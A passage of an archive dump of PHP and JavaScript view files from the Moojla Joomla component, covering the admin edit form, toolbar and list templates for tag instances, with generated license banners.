}
views/tag_instance/submitbutton.js000064400000002751151165724410013450
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('tag_instance, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/tag_instance/tmpl/edit.php000064400000011404151165724410012760
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'tag_instanceTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'tag_instanceTab', 'details',
JText::_('COM_MOOJLA_TAG_INSTANCE_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo
JLayoutHelper::render('tag_instance.details_left', $this); ?>
</div>
<div class="span6">
<?php echo
JLayoutHelper::render('tag_instance.details_right', $this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'tag_instanceTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'tag_instanceTab', 'publishing',
JText::_('COM_MOOJLA_TAG_INSTANCE_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo
JLayoutHelper::render('tag_instance.publishing', $this); ?>
</div>
<div class="span6">
<?php echo
JLayoutHelper::render('tag_instance.publlshing', $this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'tag_instanceTab', 'permissions',
JText::_('COM_MOOJLA_TAG_INSTANCE_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="tag_instance.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/tag_instance/tmpl/index.html000064400000000054151165724410013316
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tag_instance/view.html.php000064400000015410151165724410012775
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Tag_instance View class
*/
class MoojlaViewTag_instance extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('tag_instance',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_TAG_INSTANCE_NEW' :
'COM_MOOJLA_TAG_INSTANCE_EDIT'), 'pencil-2
article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('tag_instance.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('tag_instance.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('tag_instance.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('tag_instance.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('tag_instance.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('tag_instance.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('tag_instance.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('tag_instance.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('tag_instance.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('tag_instance.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('tag_instance.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('tag_instance.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.tag_instance',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('tag_instance.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('tag_instance.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('tag_instance');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_TAG_INSTANCE_NEW' :
'COM_MOOJLA_TAG_INSTANCE_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/tag_instance.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/tag_instance/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/tag_instances/index.html000064400000000054151165724410012525
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tag_instances/tmpl/default.php000064400000006014151165724410013643
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen',
'.multipleAccessLevels', null,
array('placeholder_text_multiple' => '- ' .
JText::_('COM_MOOJLA_FILTER_SELECT_ACCESS') . ' -'));
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=tag_instances.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'tag_instanceList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=tag_instances');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="tag_instanceList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_TAG_INSTANCES_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/tag_instances/tmpl/default_batch_body.php000064400000002340151165724410016017
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo
JText::_('COM_MOOJLA_TAG_INSTANCES_BATCH_TIP'); ?></p>
<?php echo $this->batchDisplay;
?>views/tag_instances/tmpl/default_batch_footer.php000064400000002736151165724410016371
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('tag_instance.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/tag_instances/tmpl/default_body.php000064400000007653151165724410014672
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=tag_instances&task=tag_instance.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('tag_instance',$item,'tag_instances');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->moojlacourse_fullname); ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time,
'tag_instances.', $canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo $this->escape($item->moojlacourse_fullname); ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->moodletag_tagname); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tag_instances.', true, 'cb');
?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tag_instances.', false,
'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tag_instances.', true, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'tag_instances.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/tag_instances/tmpl/default_foot.php000064400000002304151165724410014670
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="6"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/tag_instances/tmpl/default_head.php000064400000004771151165724410014634
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_LABEL',
'g.fullname', $this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_INSTANCE_MOODLETAG_LABEL', 'h.tagname',
$this->listDirn, $this->listOrder); ?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_INSTANCE_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_TAG_INSTANCE_STATUS');
?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_INSTANCE_ID', 'a.id',
$this->listDirn, $this->listOrder); ?>
</th>
</tr>views/tag_instances/tmpl/default_toolbar.php000064400000007060151165724410015367
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Tag_instances'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/tag_instances/tmpl/index.html000064400000000054151165724410013501
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tag_instances/view.html.php000064400000021522151165724410013161
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Tag_instances
*/
class MoojlaViewTag_instances extends JViewLegacy
{
/**
* Tag_instances view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('tag_instances');
}
// Assign data to the view
$this->items = $this->get('Items');
